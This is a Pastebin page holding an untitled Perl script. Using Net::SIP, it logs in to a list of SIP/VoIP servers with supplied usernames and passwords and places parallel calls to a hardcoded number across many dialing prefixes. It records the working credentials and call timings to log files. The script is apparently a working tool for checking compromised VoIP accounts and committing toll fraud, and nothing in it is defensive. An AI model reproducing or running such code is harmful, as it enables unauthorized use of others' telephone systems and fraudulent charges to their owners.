Advertisement
Guest User

Untitled

a guest
Feb 9th, 2019
267
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.82 KB | None | 0 0
  1. use Data::Dumper;
  2. use IO::Socket::INET;
  3. use Socket;
  4. use Test::More;
  5. use Net::SIP;
  6. use Parallel::ForkManager;
  7. use Term::ANSIColor;
  8. use Time::HiRes qw(gettimeofday tv_interval);
  9. use vars qw($t);
  10. no warnings 'uninitialized';
  11. my $ips = $ARGV[0];
  12. my $num = '17542091364';
  13. my $file = 'prx';
  14. my $filename = 'caller.log';
  15. my $ring_time = '40';
  16. my $max_processes = $ARGV[1];
  17. my $t = $ARGV[2];
  18. my $pm = Parallel::ForkManager->new($max_processes);
  19. #######
  20. if (@ARGV<1){
  21. print "[!] $0 <ip_file> <threads> <timeout>\r\n";
  22. exit;
  23. }
  24.  
  25. open my $handle1, '<', $ips;
  26. chomp(my @IPS = <$handle1>);
  27. close $handle1;
  28. open my $handle1, '<', $file;
  29. chomp(my @PRX = <$handle1>);
  30. close $handle1;
  31. ######
  32. foreach $prf (@PRX){
  33. foreach $line (@IPS){
  34. my $to = "$prf$num";
  35. my $pid = $pm->start and next;
  36. my ($ip,$user,$pass) = split(/ /, $line);
  37. $ip =~ s/\x0a//g;
  38. #print color("bold red"),"$ip $user $pass $to\n";
  39. call($ip,$user,$pass,$to);
  40. $pm->finish;
  41. }
  42. #print color("bold red"),"Switching $prf$num \n";
  43. }
  44. $pm->wait_all_children();
  45.  
  46. sub call{
  47. #my $pid = fork();
  48. my $ip = shift;
  49. my $user = shift;
  50. my $pass = shift;
  51. my $to = shift;
  52. my ($t1,$t2);
  53. alarm($t);
  54. #local $SIG{__DIE__} = sub { kill 9,$pid; ok( 0,'died' ) };
  55. #local $SIG{ALRM} = sub { kill 9,$pid };
  56. if(!$ip){
  57. exit;
  58. }
  59. my $ua = Net::SIP::Simple->new(
  60. outgoing_proxy => $ip,
  61. registrar => $ip,
  62. domain => $ip,
  63. from => $user,
  64. auth => [ $user,$pass ]
  65. );
  66. #print Dumper($ua);
  67. my $peer_hangup; # did peer hang up?
  68. my $no_answer;
  69. my $rtp_done;
  70. my $ringing = 0;
  71. #print "Calling $test_n $user $pass $ip $to\n";
  72. my $call = $ua->invite("$to",
  73. init_media => sub {
  74. my $now = time;
  75. my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
  76. print "Assuming Call is Made $ip $user $pass $to $hour:$min:$sec\n";
  77. open(OUTPUT,">>ahm.txt");
  78. print OUTPUT "$ip $user $pass $to $hour:$min:$sec\n";
  79. close (OUTPUT);
  80. },
  81. cb_rtp_done => \$rtp_done,
  82. asymetric_rtp => 0,
  83. rtp_param => [ 8, 160, 160/8000, 'PCMA/8000' ],
  84. cb_established => sub { diag( "call established $ip $user $pass $to" ) },
  85. recv_bye => \$peer_hangup,
  86. cb_noanswer => \$no_answer,
  87. ring_time => $ring_time,
  88. );
  89.  
  90. #}
  91.  
  92. #$ua->loop( \$rtp_done,\$peer_hangup,\$no_answer );
  93. my $t1 = [gettimeofday];
  94. my $done;
  95. $call->reinvite( recv_bye => \$done);
  96. $ua->loop(\$done);
  97. if($done){
  98. my $t2 = [gettimeofday];
  99. my $t0_t1 = tv_interval $t1, $t2;
  100. print color("bold blue"),"$t0_t1 $ip\n";
  101. if($t0_t1 > 2.9 && $t0_t1 < 3.5){
  102. my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
  103. print color("bold Green"),"Call Made
  104. $ip $user $pass $to
  105. $hour:$min:$sec
  106. $t0_t1
  107. \n";
  108.  
  109. print color("bold Green")," success calling and saving Rezult! \n";
  110. open(OUTPUT,">>success.txt");
  111. print OUTPUT "$ip $user $pass $to $hour:$min:$sec $t0_t1\n";
  112. close (OUTPUT);
  113. }
  114. }
  115. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement